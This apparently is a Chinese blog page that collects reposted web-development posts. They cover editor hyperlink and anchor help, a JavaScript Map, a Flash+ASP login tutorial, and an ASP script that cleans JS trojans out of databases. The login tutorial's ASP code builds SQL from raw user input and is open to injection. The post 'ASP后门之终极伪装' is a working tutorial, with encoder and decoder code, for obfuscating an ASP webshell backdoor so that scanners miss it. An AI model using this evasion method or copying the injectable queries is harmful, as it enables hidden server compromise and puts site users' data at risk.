超链接_插入-编辑标记_网页内容编辑器帮助

2009年3月28日星期六 | | 0 评论 |

   
 

超链接(A)

超链接是网页之间相互关联的最基本的方式,因此插入/编辑超链接是网页编辑的重要内容。可对选中的文本、图片等对象加入超链接。

选中已加上超链接的对象后,可删除该超链接,详情请参考 取消超链接

除了超链接之外,还可在页面中加入"锚点链接"对象,关于"锚点链接"的更多说明,请参考 锚点链接

添加超链接:

  1. 在工具栏中点击"插入/编辑超链接"按钮。
  2. 在弹出的"超链接"对话框中,设置各项参数。
    系统支持三种超链接类型,分别是:
    1. 超链接:用于生成对页面外其它页面或素材的引用,其可编辑的属性有:
      1. 超链接信息:

        参数说明:
        1. 协议(PROTOCOL):设置地址的协议方式,通常使用的协议有 HTTP、HTTPS、FTP、NEWS 等,如果需要链接使用其它协议的资源,例如 MMS、RTSP 等,请在地址内输入协议头,例如,在地址栏内输入 mms://。
        2. 地址(HREF):所链接资源的地址(URL/URI),需要注意的是,很多协议或服务器对地址都是大小写敏感的,因此需要输入正确的大小写。
          为了更好的兼容多种浏览器,对于地址中的某些保留字符,如 ?、&、/ 等,在作为参数使用时,需要对其进行正确的编码。 地址中,一般也不应该出现中文等非 ASCII 字符,也应该对其进行正确的编码。
        3. 浏览服务器:点击此按钮,在弹出的"资源查看器"中选择服务器上的已有资源,更多信息请参考 资源查看器
      2. 目标:用于定义链接的打开方式,或者说是点击链接时执行的操作。一共有七种打开方式,分别是:
        1. 没有设置:不设置链接打开方式,点击链接时将按照浏览器缺省定义的方式打开(一般是在本窗口打开)。
        2. 框架:在指定的框架内打开。此时,需要在"目标框架名称"内填入指定框架的名称(NAME)属性值。所谓框架,是指 FRAME、IFRAME 这一类对象,这类对象可在网页中嵌入其它网页,就好像在父网页所在窗口中开了一个子窗口一样。如果将超链接的目标设定为某个 FRAME 或 IFRAME 的名称,点击该超链接时,将在此框架内打开链接的内容。
        3. 弹出窗口:点击超链接后,将采用弹出窗口的方式打开链接的内容。

          参数说明:
          1. 弹出窗口名称:设置弹出窗口的名称。如果设置了此名称,则总是在同一个窗口内弹出,也可在原页面中通过此名称来访问弹出的窗口。如果不指定名称,则每次点击都弹出一个新的窗口。
          2. 调整大小(RESIZABLE):设置是否可以改变弹出窗口的大小。缺省值是允许。
          3. 状态栏(STATUS):设置是否显示弹出窗口的状态栏。缺省值是显示。
          4. 地址栏(LOCATION):设置是否显示弹出窗口的地址栏。缺省值是显示。
          5. 工具栏(TOOLBAR):设置是否显示弹出窗口的工具栏。缺省值是显示。
          6. 菜单栏(MENUBAR):设置是否显示弹出窗口的菜单栏。缺省值是显示。
          7. 全屏(IE)(FULLSCREEN):设置弹出窗口的是否全屏显示,这是 IE 浏览器才支持的属性。缺省值是否。
          8. 滚动条(SCROOLBARS):设置弹出窗口的是否显示滚动条。缺省值是显示。
          9. 依附(NS)(DEPENDENT):设置弹出的窗口是否依赖于当前窗口。这是 Netscape 类浏览器,如Netscape、Firefox、Mozilla等才支持的属性。此属性主要用于限制当前窗口与弹出窗口的相互访问。缺省值是是。
          10. 宽(WIDTH):设置弹出窗口的宽度。像素值,最小值是 100。
          11. 高(HEIGHT):设置弹出窗口的高度。像素值,最小值是 100。
          12. 左(LEFT):设置弹出窗口的左上角的 X 值。必须是一个大于等于 0 的整数。
          13. 上(TOP):设置弹出窗口的左上角的 Y 值。必须是一个大于等于 0 的整数。
          14. 一些浏览器和拦截弹出窗口的浏览器插件可能会拦截弹出新窗口。
          15. 弹出新窗口和在新窗口(_blank)中打开是两个完全不同的概念,请勿混淆。后者是不会被拦截的。
        4. 新窗口(_blank):点击超链接后,将打开一个新的浏览器窗口/标签页,并在其中打开链接的内容。
        5. 整页(_top):FRAME/IFRAME 是支持嵌套的,也就是说,FRAME/IFRAME 中的网页仍然可以包含 FRAME/IFRAME 对象,因此,如果希望点击某个超链接后,在其所在的浏览器/标签页中打开链接内容,需要将目标设置为整页(_top)。如果此超链接并不在 FRAME/IFRAME 中,将执行与本窗口(_self)一样的动作。
        6. 本窗口(_self):点击超链接后,将在此超链接所在窗口内打开链接的内容。
        7. 父窗口(_parent):如果此超链接本身在一个 FRAME 或一个 IFRAME 内,点击此超链接,将在其父窗口(也就是包含此 FRAME/IFRAME 的网页所在的窗口)中打开链接的内容。如果此超链接并不在 FRAME/IFRAME 中,将执行与本窗口(_self)一样的动作。
      3. 上传:除了在资源查看器中上传和选择资源外,如果希望在插入超链接的时候直接上传资源文件并生成链接,可以使用上传功能。

        具体的操作步骤是:

        1. 点击"上传"标签。
        2. 点击"浏览"按钮,选择需要上传的文件。
          请注意,上传文件是有限制的,请参考 资源查看器
        3. 点击"发送到服务器上"按钮,上传文件,直到出现提示"上传已成功"。
        4. 系统会自动切换到"超链接信息"标签,并将刚才上传的资源地址填入地址内。
      4. 高级:

        参数说明:
        1. 此标签页内的属性一般不需要设置,除非您清楚它们的用途。
        2. ID::设置该对象的 ID 属性。
        3. 名称(NAME):设置该对象的名称(NAME)属性,设置名称属性后,该对象本身也将是一个"锚点链接"。
        4. 标题(TITLE):设置该对象的标题(TITLE)属性。很多情况下,此属性可用于显示提示信息,例如,设置超链接的标题(TITLE)属性后,在鼠标移至该超链接对象上并停顿片刻后,便会自动弹出提示信息,而提示内容则是预先设置的标题(TITLE)属性值。
        5. 样式类名称(CLASS):设置该对象的样式类名称(CLASS)属性。如果已经在页面的 CSS 中定义了某些样式类(CLASS),则可以通过设置此属性让该样式对此对象生效。
        6. 行内样式(STYLE):设置该对象的行内样式(STYLE)属性。与预先在 CSS 文件或 CSS 段定义的样式类(CLASS)不同,行内样式(STYLE)仅作用于当前对象及其子对象,例如我们设置行内样式(STYLE)为 "font-size:16px",则将该对象内部所有未定义其它样式的文本都使用 16px 大小的字体进行显示。
        7. 语言方向(DIR):设置该对象的语言方向(DIR)属性,因为某些语言采用从右至左的阅读顺序,此时,可设置此属性,如果选择"没有设置",将缺省采用从左到右的顺序。
        8. 语言代码(LANG):设置该对象的语言代码(LANG)属性,设置语言代码属性后,浏览器在处理这个对象时,会自动根据设置的语言代码值进行不同的处理,例如字体、数字格式、日期格式等等。在用网页制作类似翻译一类的内容(即网页中同时出现不同语言的内容)时,通过正确设置语言代码属性,可获得更好的显示效果。
        9. 内容类型(TYPE):设置该对象的内容类型(TYPE)属性。内容类型(TYPE)属性用于说明该超链接所链接资源的 MIME 类型,在正确设置内容类型(TYPE)后,在浏览器中点击此超链接,浏览器将会根据此属性自动查找相关的应用程序打开链接内容。例如,我们用一个超链接引用一个 txt 文件,如果不设置内容类型属性,点击时将会在浏览器窗口中显示此文件的内容,而如果我们将内容类型属性设置为"application/octet-stream",则点击的时候将会提示保存这个文件。不过,遗憾的是,并不是所有浏览器都完全支持此属性,在某些浏览器下,即使定义了此属性,对于已注册的类型,仍然会使用缺省的程序打开内容。但如果您要链接一个多媒体文件,并希望用特定的播放器打开此文件,定义合适的内容类型(TYPE)属性仍然不失为是一种良好的方法。
        10. 字符编码(CHARSET):设置该对象的字符编码(CHARSET)属性。字符编码(CHARSET)用于说明该对象内容所采用的编码,浏览器可通过此属性对对象内容进行正确的解码,从而避免浏览器不知道对象编码的情况下,无法正常解码,最终导致乱码的情况,例如,简体中文通常使用 GB2312 和 GBK 等字符集。
        11. 访问键(ACCESSKEY):设置该对象的快捷键(ACCESSKEY)属性,定义快捷键后,在页面中同时按下 Alt 和定义的按键,将会将自动将焦点切换到该对象上。定义快捷键时请注意不要和浏览器缺省的快捷键发生冲突,另外,并不是所有的浏览器都支持快捷键。
        12. Tab 键次序(TABINDEX):设置该对象的 Tab 键次序(TABINDEX)属性,所谓 Tab 键次序(TABINDEX),是指用户在页面中按下 Tab 键时,焦点将不断在页面中的不同对象间切换,而切换的顺序就是Tab 键次序。
          这些对象之间的顺序是有缺省值的,如果不希望使用缺省的顺序,可以对需要响应 Tab 键的对象重新定义 Tab 键次序(TABINDEX)。
          Tab 键次序(TABINDEX)的取值可以为正数、负数和 0,其中,0 代表使用系统缺省的顺序,正数代表按下 Tab 的次数(Tab 键次序有重复时将按照这些对象原始的顺序进行排列),而负数代表从 Tab 键列表中清除,即按下 Tab 键后焦点不会切换到该对象上。
    2. 页内锚点链接:用于生成对页面内"锚点链接"的引用,其可编辑的属性有:
      1. 超链接信息:

        参数说明:
        1. 按锚点名称选择一个锚点:在下拉菜单中选取页面内所有已定义名称(NAME)属性的锚点链接。
        2. 按锚点ID选择一个锚点:在下拉菜单中选取页面内所有已定义 ID 属性的锚点链接。
        3. 如果页面内没有定义任何锚点,将提示"此文档没有可用的锚点"。
      2. 高级:同"超链接"下的"高级"属性。
    3. 电子邮件:用于生成对一个电子邮件地址的引用,用户在点击此超链接后,会自动打开用户的计算机上已注册的电子邮件客户端撰写邮件,而该邮件的收件人、主题和内容就是在页面上预先设置的邮件地址、主题和内容信息。其可编辑的属性有:
      1. 超链接信息:

        参数说明:
        1. 地址:设置邮件的收件人地址,可定义多个地址,使用分号或逗号分隔。
        2. 主题:设置邮件的主题。
        3. 内容:设置邮件的内容。
        4. 在用户点击一个类型为"电子邮件"的超链接时,用户的计算机上必须已经安装并注册了缺省的邮件客户端应用程序,如 MS Outlook Express、MS Outlook 和 Foxmail 等。
      2. 高级:同"超链接"下的"高级"属性。
  3. 点击"确定"按钮,完成添加操作。
  4. 如果在插入超链接前已经选中的部分文本或图片等对象,则保存后将自动为选中的内容加上超链接属性;否则,系统将自动创建一个以链接地址为文本内容的超链接。

编辑超链接:

  1. 在编辑区域内选中已加上超链接的对象,如果是文本,也可将光标放置在包含超链接的文本之内。
  2. 在工具栏中点击"插入/编辑超链接"按钮,或点击鼠标右键,在弹出的右键菜单中点击"编辑超链接"。
  3. 在弹出的"超链接"对话框内进行编辑。
  4. 点击"确定"按钮,完成编辑操作。

另请参考:

关于上传和选择资源,请参考 资源查看器

我的QQ空间
优化基础:网站URL优化要主意的十个细节
URL优化的重点就是把内容放在权重高的页面上,以下是各级目录的...
 
 

锚点链接

| | 0 评论 |

   
 

命名锚点链接(也叫书签链接)常常用于那些内容庞大繁琐的网页,通过点击命名锚点,能够快速重定向网页特定的位置(比如快速到页首、页尾或者网页中某篇文章处),便于浏览者查看网页内容。类似于我们阅读书籍时的目录页码或章回提示。

创建到命名锚记的链接的过程分为两步: 创建命名锚记和链接到命名锚记。

1. 创建命名锚记

若要创建命名锚记,请在编辑视图中,将光标置于需要命名锚记的地方。选择"插入"工具栏中"常用"分类,选择"命名锚记"按钮。出现命名锚记对话框。在"锚记名称"文本框中输入锚记的名称。一般锚记若在网页顶部,可输入top;若在网页底部,可输入bottom等。锚记名不能含有空格,而且不应置于层内,如图3-94所示。

 

3-94 命名锚记对话框

命名锚记之后,点击【确定】,可以看到锚记标记出现在插入点,说明该命名锚记已经建立好了。如果看不到锚记标记,可选择"查看"-"可视化助理"-"不可见元素"。如图3-95所示。

 

3-95 创建命名锚记

2. 链接到命名锚记

定义了锚记后,就可以链接到命名的锚记了。选择要从其创建链接的文本或图像,例如文本"返回页首"。在属性面板"链接"文本框中输入"#锚记名称",如:"#top"。如图3-96所示。

 

3-96 链接到锚记

保存网页后按F12键预览该网页。当在浏览器中单击链接文本(返回页首)时,网页转向命名锚记为"top"所在的行。

注意若要链接到同一文件夹内其他文档中的名为"top"的锚记请键入filename.html#top。

锚记名称区分大小写。

from:http://www.bloghome.cn/posts/81917.html
我的QQ空间
优化基础:网站URL优化要主意的十个细节
URL优化的重点就是把内容放在权重高的页面上,以下是各级目录的...
 
 

锚点链接_超链接_插入/编辑标记_网页内容编辑器帮助

| | 0 评论 |

   
 
 

锚点链接

如果说超链接是用于说明网页在互联网上位置的对象的话,那么锚点链接就是用于描述网页内的位置的对象。

一个锚点链接定义了网页中的一个位置,通过引用锚点所在网页的超链接,就可访问此锚点所定义的网页内位置。例如,某个锚点的名称为"a1",其所在页面的地址为 index.html,那么,在加入一个地址是 index.html#a1 的超链接后,点击此超链接,不但打开页面 index.html,而且在页面打开之后,将自动滚动到该锚点所在的位置。

由于锚点链接对象是不可见对象,因此,在可视化编辑界面中,系统将采用特殊的方式进行显示,如下图:

添加锚点链接:

  1. 在工具栏中点击"插入/编辑锚点链接"按钮。
  2. 在弹出的"命名锚点"对话框中,设置各项参数。

    参数说明:
    1. 锚点名称(NAME):设置锚点链接的名称。可通过在链接地址中加入"#锚点名称"来访问此锚点。
  3. 点击"确定"按钮,完成添加操作。

编辑锚点链接:

  1. 点击页面中已添加的锚点链接。
  2. 在工具栏中点击"插入/编辑锚点链接"按钮,或点击鼠标右键,在弹出的右键菜单中点击"锚点链接属性"。
  3. 在弹出的"命名锚点"对话框内进行编辑。
  4. 点击"确定"按钮,完成编辑操作。

from:http://www.siteem.com/scms/fckeditor/editor/plugins/Help/help/tags/link/anchor.html

我的QQ空间
优化基础:网站URL优化要主意的十个细节
URL优化的重点就是把内容放在权重高的页面上,以下是各级目录的...
 
 
   

在JavaScript中实现map对象

| | 0 评论 |

   
 

在JavaScript中实现map对象

在javascript中,仅提供了数组(Array)对象,本文利用数组对象来模式实现MAP对象,具体实现如下:
 
/*
 * MAP对象,实现MAP功能
 * written by danny zhou, 2005-04-15
 *
 * 接口:
 * size()     获取MAP元素个数
 * isEmpty()    判断MAP是否为空
 * clear()     删除MAP所有元素
 * put(key, value)   向MAP中增加元素(key, value)
 * remove(key)    删除指定KEY的元素,成功返回True,失败返回False
 * get(key)    获取指定KEY的元素值VALUE,失败返回NULL
 * element(index)   获取指定索引的元素(使用element.key,element.value获取KEY和VALUE),失败返回NULL
 * containsKey(key)  判断MAP中是否含有指定KEY的元素
 * containsValue(value) 判断MAP中是否含有指定VALUE的元素
 * values()    获取MAP中所有VALUE的数组(ARRAY)
 * keys()     获取MAP中所有KEY的数组(ARRAY)
 *
 * 例子:
 * var map = new Map();
 *
 * map.put("key", "value");
 * var val = map.get("key")
 * ……
 *
 */
function Map()
{
 this.elements = new Array();
 
 //获取MAP元素个数
 this.size = function() {
  return this.elements.length;
 }
 
 //判断MAP是否为空
 this.isEmpty = function() {
  return (this.elements.length < 1);
 }
 
 //删除MAP所有元素
 this.clear = function() {
  this.elements = new Array();
 }
 
 //向MAP中增加元素(key, value)
 this.put = function(_key, _value) {
  this.elements.push({key:_key, value:_value});
 }
 
 //删除指定KEY的元素,成功返回True,失败返回False
 this.remove = function(_key) {
  var bln = false;
  try  {  
   for (i = 0; i < this.elements.length; i++) { 
    if (this.elements[i].key == _key){
     this.elements.splice(i, 1);
     return true;
    }
   }
  }catch(e){
   bln = false;   
  }
  return bln;
 }
 
 //获取指定KEY的元素值VALUE,失败返回NULL
 this.get = function(_key) {
  try{  
   for (i = 0; i < this.elements.length; i++) {
    if (this.elements[i].key == _key) {
     return this.elements[i].value;
    }
   }
  }catch(e) {
   return null;  
  }
 }
 
 //获取指定索引的元素(使用element.key,element.value获取KEY和VALUE),失败返回NULL
 this.element = function(_index) {
  if (_index < 0 || _index >= this.elements.length)
  {
   return null;
  }
  return this.elements[_index];
 }
 
 //判断MAP中是否含有指定KEY的元素
 this.containsKey = function(_key) {
  var bln = false;
  try {
   for (i = 0; i < this.elements.length; i++) { 
    if (this.elements[i].key == _key){
     bln = true;
    }
   }
  }catch(e) {
   bln = false;   
  }
  return bln;
 }
   
 //判断MAP中是否含有指定VALUE的元素
 this.containsValue = function(_value) {
  var bln = false;
  try {
   for (i = 0; i < this.elements.length; i++) { 
    if (this.elements[i].value == _value){
     bln = true;
    }
   }
  }catch(e) {
   bln = false;   
  }
  return bln;
 }
 
 //获取MAP中所有VALUE的数组(ARRAY)
 this.values = function() {
  var arr = new Array();
  for (i = 0; i < this.elements.length; i++) { 
   arr.push(this.elements[i].value);
  }
  return arr;
 }
 
 //获取MAP中所有KEY的数组(ARRAY)
 this.keys = function() {
  var arr = new Array();
  for (i = 0; i < this.elements.length; i++) { 
   arr.push(this.elements[i].key);
  }
  return arr;
 }
}
我的QQ空间
优化基础:网站URL优化要主意的十个细节
URL优化的重点就是把内容放在权重高的页面上,以下是各级目录的...
 
 
 

用户登录/注册程序——Flash+ASP

| | 0 评论 |

   
 

Flash一帧可以完成.asp也可以一个文件完成,这里我将用户登录和用户注册分为两步做,方便大家理解,Flash分两帧,asp分两个文件。

准备: Flash8 , IIS ,Miscrosoft Access 2003;

开始:

数据库中:

用设计视图新建一个名为 UserTable 的表,三个字段分别为 id 为自动编号,username为文本,password为文本;
输入一条数据 username 和 password 都为chooseflash;
如图:

用户登录/注册程序——Flash+ASP(图一)

Flash中:

新建文件命名为login.fla,舞台大小设置为250*200,背景随意;

第一帧:用户登录

新建三个图层分别命名为 bg 和 body 和as;

舞台中的实例:
一个 window 组件到舞台命名为 win;
win(背景),放到 bg 层;

设置如图:

用户登录/注册程序——Flash+ASP(图二)

二个按钮组件分别命名为: login 和 register;
login(登录),register(注册),放到 body 层;

设置如图:

用户登录/注册程序——Flash+ASP(图三)

用户登录/注册程序——Flash+ASP(图四)

三个 TextInput 文本输入组件分别命名为 username 和 password 和 msg;
username(用户名输入框),password(密码输入框),msg(消息框),放到 body 层;
第一帧是用户登录脚本.代码如下:

//此帧是用户登录脚本
stop();
//将window组件设置为不可用.因为是做背景
win.enabled = false;
//新建LoadVars对象,用来发送和接收数据;
var loginData:LoadVars = new LoadVars();
//注册按钮
register.onRelease=function(){
    win.title="(教程Flash与ASP)用户注册";
    msg.text="";
    gotoAndStop(2);
}
//登录按钮.
login.onRelease = function() {
    //判断用户名和密码是不是为空.
    if ((username.text == "") || (password.text == "")) {
        msg.text = "请正确输入用户名或密码!";
        //判断用户名和密码是否小于8位.
    } else if((username.length<8)||(password.length<8)){
        msg.text = "用户名和密码不能小于8位!";
    } else {
        msg.text = "验证中...";
        //将用户名文体框的值付给loginData对象的username变量;
        loginData.username = username.text;
        //将用户密码文体框的值付给loginData对象的password变量;
        loginData.password = password.text;
        //使用get方法发送用户名和密码到login.asp中验证;再返回给loginData对象;
        loginData.sendAndLoad("login.asp", loginData, "get");
    }
};
//调用LoadVars对象的onLoad事件.
loginData.onLoad = function(success) {
    //判断加载login.asp是否成功;
    if (success) {
        //这个是ASP中查询数据库中返回的值;
        if (loginData.success !=0) {
            msg.text = "登录成功";
            //这里大家可以写自己的代码.
            username.text="";
            password.text="";
        } else {
            msg.text = "用户名和密码不正确";
        }
    }else{
        msg.text="连接网络失败";
    }
};

下面是 login.asp 中的代码:

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<%
'声明变量
dim db,conn,div,rs,success,username,password
'获取Flash中传过来的变量
username=Request("username")
password=Request("password")
'设置一个连接对象
set conn=Server.Createobject("adodb.connection")
'数据库的相对路径
db=Server.MapPath("UserTable.mdb")
'数据库的驱动
div="Provider=Microsoft.Jet.OLEDB.4.0;"&"Data Source="&db
'打开连接
conn.Open div
'新建记录集对象
set rs=server.createobject("adodb.recordset")
'SQL查询语句,用来查询数据库中是否有数据;
sql="select * from UserTable where username='"&username&"' and password='"&password&"'"
'打开查询语句
rs.open sql,conn,1,1
'如果数据库中没有数据rs.RecordCount将返回0;
success=rs.RecordCount
'将success变量发送到Flash中
Response.Write("success="&success)
'关闭记录集
rs.close
'释放记录集对象rs
set rs=nothing
'关闭打开的连接
conn.close
'释放连接对象conn
set conn=nothing
%>

到这里.用户登录就可以了.下面我们做的是用户注册;

第二帧: 用户注册

在 body 层 按F6插入关键帧.分别修改舞台中的两个按钮的实例名为,fanghui 和 tijiao;
fanghui(返回),tijiao(提交);

然后在第二帧输入代码:

//此帧是用户注册脚本
stop();
//返回按钮.
fanghui.onRelease = function() {
    win.title = "(教程Flash与ASP)用户登录";
    msg.text = "";
    gotoAndStop(1);
};
//提交按钮.
tijiao.onRelease = function() {
    //判断用户名和密码是不是为空.
    if ((username.text == "") || (password.text == "")) {
        msg.text = "用户名和密码不能为空!";
        //判断用户名和密码是否小于8位.
    } else if ((username.length<8) || (password.length<8)) {
        msg.text = "用户名和密码不能小于8位!";
    } else {
        msg.text = "注册中...";
        //将用户名文体框的值付给loginData对象的username变量;
        loginData.username = username.text;
        //将用户密码文体框的值付给loginData对象的password变量;
        loginData.password = password.text;
        //使用get方法发送用户名和密码到add.asp中查询;再返回给loginData对象;
        loginData.sendAndLoad("add.asp", loginData, "get");
    }
};
//调用LoadVars对象的onLoad事件.
loginData.onLoad = function(success) {
    //判断加载login.asp是否成功;
    if (success) {
        //这个是ASP中查询数据库中返回的值;
        if (loginData.zhucei == "true") {
            //这里大家可以写自己的代码.
            msg.text = "注册成功";
            username.text = "";
            password.text = "";
        } else {
            msg.text = "用户名已存在";
        }
    } else {
        msg.text = "连接网络失败";
    }
};

下面是 add.asp 中的代码:

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<%
'声明变量
dim db,conn,div,rs,username,password
'获取Flash中传过来的变量
username=Request("username")
password=Request("password")
'设置一个连接对象
set conn=Server.Createobject("adodb.connection")
'数据库的相对路径
db=Server.MapPath("UserTable.mdb")
'数据库的驱动
div="Provider=Microsoft.Jet.OLEDB.4.0;"&"Data Source="&db
'打开连接
conn.Open div
'新建记录集对象
set rs=server.createobject("adodb.recordset")
'SQL查询语句,用来查询数据库中是否有数据;
sql="select * from UserTable where username='"&username&"'"
'打开查询语句
rs.open sql,conn,1,1
'如果没有数据rs.RecordCount将返回0;
if rs.RecordCount=0 then
   '关闭上面的查询对象.
   rs.close
   'SQL插入语句.插入新用户用的.这里的 password 因为是SQL中的关键字.所以要用[]括起来.
   sql="insert into UserTable (username,[password]) values ('"&username&"','"&password&"')"
   '打开插入语句
   rs.open sql,conn,1,3
    '输出true告诉Flash用户已注册.
   Response.Write("zhucei=true")   
else
    '否则就输出false告诉Flash用户已存在.
Response.Write("zhucei=false")
end if
'释放记录集对象rs
set rs=nothing
'关闭打开的连接
conn.close
'释放连接对象conn
set conn=nothing
%>

完整图片如图:

用户登录/注册程序——Flash+ASP(图五)

全部文件如图:

用户登录/注册程序——Flash+ASP(图六)

到这里就全部完成了.大家可以测试了.
运行IIS;
新建网站,路径为你的asp文件的路径.
在IE输入http://localhost/login/login.html (这是我电脑上的).

出处:巧巧读书

我的QQ空间
优化基础:网站URL优化要主意的十个细节
URL优化的重点就是把内容放在权重高的页面上,以下是各级目录的...
 
 

[转]数据库被挂马的ASP处理方法

| | 0 评论 |

   
 

数据库被挂马我相信很多人都碰到过。在这里,我讲下我处理的方法。

第一步:为现有数据库做好备份。

第二步

执行如下ASP文件,这样就可以去掉数据库当中的JS木马:
注:conn.asp自己去写了。

'这里放入JS木马内容:请记得改为自己数据库中的JS木马内容。
<!--#include file="conn.asp"-->
<%
Server.ScriptTimeOut=180
Set rstSchema = conn.OpenSchema(20)
k=1
Do Until rstSchema.EOF '遍历数据库表
    If rstSchema("TABLE_TYPE")="TABLE" Then
        response.write K&".<font color=red><b>"&rstSchema("TABLE_NAME") & "</b></font>:" '显示表名
        Set rs=Server.CreateObject("ADODB.Recordset")
        sql="select * from [" & rstSchema("TABLE_NAME")&"]"
        rs.open sql,conn,1,3
        For i=0 to rs.fields.count-1 '遍历表中字段
           If int(rs(i).Type)=129 or int(rs(i).Type)=130 or int(rs(i).Type)=200 or int(rs(i).Type)=201 or int(rs(i).Type)=202 or int(rs(i).Type)=203 Then'只处理字段类型为字符型的字段
            conn.execute("update ["&rstSchema("TABLE_NAME")&"] set "&rs(i).name&" =replace(cast("&rs(i).name&" as varchar(8000)),'这里放入JS木马内容','')")
            response.write rs(i).name &" "&rs(i).Type &" "'显示执行过的字段名。
          End If
        Next
        response.write "<br>"
    End If
    rstSchema.MoveNext
    k=k+1
Loop
response.Write "执行成功"
%>

如果数据库表很多的话,上面的遍历数据库结构未执行完就被IIS给停止了。在这时候可以在

If rstSchema("TABLE_TYPE")="TABLE" Then

当中适当加入k值的范围,如:

If rstSchema("TABLE_TYPE")="TABLE" k>10 and k<20 Then

这样的话就一次只操作9个表。

第三步

根据数据库JS注入的特性(会包括<script、</script>和http://这样的字符),
在conn.asp里面放入如下代码:

Function Cheack_Sqljs()'防止数据库外链JS注入:true为发现外链JS注入。
    Dim F_Post,F_Get
    Cheack_Sqljs=False
    If Request.Form<>"" Then'表单提交时的检测
        For Each F_Post In Request.Form
            If (Instr(LCase(Request.Form(F_Post)),"<script")<>0 or Instr(LCase(Request.Form(F_Post)),"</script>")<>0) and Instr(LCase(Request.Form(F_Post)),"http://")<>0 Then
                Cheack_Sqljs=True
                Exit For
            End If
        Next
    End If
    If Request.QueryString<>"" Then'QueryString提交时的检测
        For Each F_Get In Request.QueryString
            If (Instr(LCase(Request.Form(F_Get)),"<script")<>0 or Instr(LCase(Request.Form(F_Get)),"</script>")<>0) and Instr(LCase(Request.Form(F_Get)),"http://")<>0 Then
                Cheack_Sqljs=True
                Exit For
            End If
        Next
    End If
End Function
Function CheckDataFrom()'检查提交数据来源:True为数据从站外提交过来的
    CheckDataFrom=True
    server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
    server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
    if mid(server_v1,8,len(server_v2))<>server_v2 then
        CheckDataFrom=False
    end if
End Function
If Cheack_Sqljs or CheckDataFrom Then
   Response.Write "<Script Language=JavaScript>alert('禁止执行,非法操作。');</Script>"
   Response.End()
End If

From:http://www.qqread.com/asp/2009/03/u453580.html

我的QQ空间
优化基础:网站URL优化要主意的十个细节
URL优化的重点就是把内容放在权重高的页面上,以下是各级目录的...
 
 

[转]ASP后门之终极伪装

| | 0 评论 |

   
  记得当年asp木马出来的时候号称"永不被杀的木马",呵呵,时至今日,随便什么杀毒软件都能将其杀得片甲不留^_^呵呵,受到木马换壳躲避杀毒软件思路影响,我们也可以给asp木马"加壳"(呵呵,当然不是用UPX等)。还等什么?请往下看。

  其实这个思路很简单,就是把asp代码编码,执行时再解码。这里有两个方法,一是用微软的工具Script Encoder;二是利用asp的execute函数。


  先说说Script Encoder。这个东东可以在微软官方网站免费下到,而且还附赠详细使用说明,这里就不多说了吧。但是经过它加密后的文件会有<%@ LANGUAGE = VBScript.Encode %>,呵呵,露马脚了,管理员看到这句话就知道这个asp文件被加密了。那怎么解密呢?这里提供一个解密软件(》点击进入下载《)。现在知道了吧,微软的Script Encoder不保险,所以呢,我们要自己写一个程序出来"加壳"。


  asp的execute函数是拿来执行字符串的,即是说可以把asp语句写成字符串,然后用execute来执行。比如这行代码:execute("response.write(""hackerXfiles"")"),执行后的效果等同于执行response.write("hackerXfiles")。这里由于execute函数里的东东是字符串,故遇到引号要双写。呵呵,既然execute里是字符串,那么我们就可以把里面的东东拿来加密了。

  怎么加密呢?呵呵,就用最简单的移位法好了。请看代码:

  but=1
  cc=replace(nr,vbcrlf,"胡")
  for i= 1 to len(cc)
    if mid(cc,i,1)<>"胡" then
      pk=asc(mid(cc,i,1))+but
      if pk>126 then
        pk=pk-95
      elseif pk<32 then
        pk=pk+95
      end if
      temp=temp&chr(pk)
    else
      temp=temp&"胡"
    end if
  next
  temp=replace(temp,"""","""""")
  response.write(temp)

  这段代码就是asp下的循环移位法。那个变量but就是移位的位数,可修改。呵呵,怎么叫循环呢?因为程序会比较字符的ascii码,当大于126或者小于32时就会处理,使范围在32~126之间。因为这样可以避免出现windows不能显示的字符。这也是一开始就把回车换行符替换掉的原因。这里我自己写了一个移位加密的asp程序xor.asp附上,希望对你有帮助。

  那就让我们来看看用上面代码把response.write("hackerXfiles")加密后的结果:"sftqpotf/xsjuf)#ibdlfsYgjmft#*",嘿嘿,这回神仙也看不懂了吧^_^

  既然加了密,当然要解密啦,看解密代码:

function UnEncode(temp)
  but=1 '这个是移位法所移的位数!注意修改此处与加密时使用的一致
  for i =1 to len(temp)
    if mid(temp,i,1)<>"胡" then
      pk=asc(mid(temp,i,1))-but
      if pk>126 then
        pk=pk-95
      elseif pk<32 then
        pk=pk+95
      end if
      a=a&chr(pk)
    else
      a=a&vbcrlf
    end if
  next
  UnEncode=a
end function

  呵呵,现在知道怎么执行了吧,只需调用这个解密函数就是:execute(UnEncode("sftqpotf/xsjuf)#ibdlfsYgjmft#*")),怎么样,是不是顺利执行了!

在这里给大家一个示范,好让大家明白怎么加密asp木马。由于海洋的asp木马代码太多,我人又懒,就拿那个短小精悍的cmd.asp来示范吧!

  首先运行我写的那个xor.asp,然后用记事本打开cmd.asp,将它的asp代码部分复制到xor.asp的文本框(看图),

ASP后门之终极伪装(图一)

点击查看大图

填好移位参数(这里我用的1),点"转换",呵呵,结果就出来了。然后新建一个文本文档,把cmd.asp的内容复制进去,前面那个UnEncode函数内容也添进去(这里要注意修改UnEncode函数里变量but的值与加密时选的移位参数值一致),然后把它的asp部分替换成execute(UnEncode(hu))的形式,其中hu用前一步得到的加密结果赋值。呵呵,然后保存为asp文件就ok啦!这里就再罗嗦几句。如果代码比较长,可以分成几部分加密,然后多用几个execute执行就是,但是要注意必须保证asp代码的完整性,也就是说不能把相关联的代码如if、end if分到两个execute里去了。

  看看吧,同样可以运行!

ASP后门之终极伪装(图二)

  8期的光盘里有个思易ASP木马追捕器,呵呵,正好顺手拿来检测我们今天的成果。嘿嘿,看结果,它对cmd.asp原版本和用Script Encoder加过密的海洋顶端网的2005版可以检测到,而对我们刚才精心炮制的xcmd.asp却什么都检测不到!呵呵,知道厉害了吧^_^
ASP后门之终极伪装(图三)

From:http://www.qqread.com/asp/2007/04/n305932.html

我的QQ空间
优化基础:网站URL优化要主意的十个细节
URL优化的重点就是把内容放在权重高的页面上,以下是各级目录的...
 
 

热门代码全集!

| | 0 评论 |

   
 
首页中插入图片
以下是代码:<img src="http://图片地址" border="0" width="344" height="255">

